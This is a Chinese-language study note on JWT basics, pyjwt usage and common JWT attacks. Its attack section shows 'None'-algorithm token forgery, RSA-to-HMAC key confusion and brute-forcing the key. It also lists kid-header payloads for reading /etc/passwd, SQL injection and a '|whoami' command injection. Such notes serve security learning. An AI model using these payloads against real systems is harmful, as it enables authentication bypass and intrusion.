jwt学习笔记
基本概念
JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
jwt由三个部分组成
header.payload.signature
首先看 header
alg 指定了token加密使用的算法(最常用的为HMAC和RSA算法
HMAC:对称
RSA:非对称
HASH: 压缩
MAC: 带密钥的hash
HMAC: MAC的一种
{
"alg" : "HS256",
"typ" : "jwt"
}
payload
相关的数据:
{
"user_role" : "finn", //当前登录用户
"iss": "admin", //该JWT的签发者
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"domain": "example.com", //面向的用户
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
signature ,保护token完整性
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)
pyjwt
(注意是必须 pip install pyjwt
In [1]: import jwt
In [2]: encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256')
In [3]: encoded_jwt
Out[3]: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiJ9.fN_uBYJZuGWi_XnqKe_HDo6EYBU8Te1nanJRBnpnPns'
可以看到并不需要key也可以直接解密,有点像flask 的session

解密
In [4]: print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))
{'user_name': 'admin'}
攻击方式
空加密算法
JWT支持使用空加密算法,可以在header中指定alg为None
pyjwt生成空加密算法的jwt
In [10]: encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', headers={"alg":"None", "typ":"jwt"})
In [11]: encoded_jwt
Out[11]: b'eyJ0eXAiOiJqd3QiLCJhbGciOiJOb25lIn0.eyJ1c2VyX25hbWUiOiJhZG1pbiJ9.73u0KBesnvDB-k3jhmyzzPnExs8gUsxaYG2MBtBeNtg'

修改加密算法RSA为HMAC(未尝试)
理论:
一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。
通常情况下密钥pem是无法获取到的,但是公钥pub却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC
{
"alg" : "HS256",
"typ" : "jwt"
}
同时使用公钥pub作为密钥,这样服务端接收到的数据就会用HMAC的方式来验证了
爆破密钥
c-jwt-cracker了解一下
修改kid参数
用来指定私钥位置,也可以修改?
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}
任意文件读取?(有点骚)
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
SQL注入
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
命令注入
"/path/to/key_file|whoami"